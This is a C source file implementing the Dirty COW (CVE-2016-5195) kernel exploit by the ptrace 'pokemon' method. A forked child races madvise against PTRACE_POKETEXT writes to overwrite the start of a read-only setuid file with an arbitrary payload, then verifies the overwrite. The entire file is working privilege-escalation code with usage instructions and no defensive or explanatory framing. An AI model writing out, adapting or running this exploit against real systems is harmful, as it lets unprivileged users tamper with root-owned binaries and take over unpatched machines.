// dcw_pokemon.c - Dirty COW (CVE-2016-5195) ptrace "pokemon" method.
// Overwrites the start of a setuid file with a payload file's contents.
// Adapted from the famous pokemon.c exploit. usage: ./dcw_pokemon <target> <payloadfile>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
char *payload;
long plen;

void *madviseThread(void *arg) {
    int i, c = 0;
    for (i = 0; i < 200000000; i++) {
        c += madvise(map, plen, MADV_DONTNEED);
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) return 1;
    // load payload file
    FILE *fp = fopen(argv[2], "rb");
    if (!fp) { perror("fopen"); return 1; }
    fseek(fp, 0, SEEK_END); plen = ftell(fp); rewind(fp);
    payload = malloc(plen);
    if (fread(payload, 1, plen, fp) != (size_t)plen) return 1;
    fclose(fp);
    printf("payload %d bytes\n", (int)plen);

    f = open(argv[1], O_RDONLY);
    if (f < 0) { perror("open"); return 1; }
    fstat(f, &st);
    map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) { perror("mmap"); return 1; }
    printf("mmap %lx\n", (unsigned long)map);

    pid = fork();
    if (pid) {
        waitpid(pid, NULL, 0);
        int u, i, o, c = 0;
        long l = plen;
        for (i = 0; i < 10000 / l; i++) {
            for (o = 0; o < l; o++) {
                for (u = 0; u < 10000; u++) {
                    c += ptrace(PTRACE_POKETEXT, pid, map + o, *((long *)(payload + o)));
                }
            }
        }
        // resume child so it can exit (closes stdout); then reap
        ptrace(PTRACE_CONT, pid, 0, 0);
        waitpid(pid, NULL, 0);
        // verify
        int fd = open(argv[1], O_RDONLY);
        char *b = malloc(plen);
        ssize_t r = read(fd, b, plen);
        close(fd);
        int ok = (r == plen && memcmp(b, payload, plen) == 0);
        free(b);
        printf("verify: %d\n", ok);
        return ok ? 0 : 1;
    } else {
        pthread_create(&pth, NULL, madviseThread, NULL);
        ptrace(PTRACE_TRACEME);
        kill(getpid(), SIGSTOP);
        pthread_join(pth, NULL);
        return 0;
    }
}
